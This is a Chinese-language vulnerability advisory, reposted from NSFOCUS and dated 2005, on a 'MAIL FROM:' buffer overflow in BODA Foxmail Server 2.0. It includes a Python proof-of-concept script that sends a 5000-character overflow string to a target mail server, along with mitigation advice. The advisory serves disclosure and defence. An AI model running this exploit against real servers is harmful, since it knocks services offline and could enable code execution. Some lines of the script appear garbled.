转自:绿盟科技
发布日期:2005-02-04
更新日期:2005-02-07
受影响系统:
BODA Foxmail server for windows version 2.0
描述:
--------------------------------------------------------------------------------
Foxmail Server是博大互联开发的邮件服务器软件。
Foxmail Server在处理"MAIL FROM:"命令时缺少正确的边界缓冲区检查,远程攻击者可以利用这个漏洞对服务程序进行拒绝服务攻击或者以进程权限执行任意指令。
攻击者提交包含超长参数的"MAIL FROM:"命令给Foxmail server处理,可导致发生缓冲区溢出,精心构建提交数据可能以进程权限在系统上执行任意指令。
<*来源:Xin Ouyang ([email protected])
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110763204301080&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Xin Ouyang ([email protected])提供了如下测试方法:
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt
def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)
if name == 'main':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()
for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)
evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: [email protected]" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print recvbuf
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print recvbuf
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
- 禁止不可信IP访问FoxMail Server
厂商补丁:
BODA
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: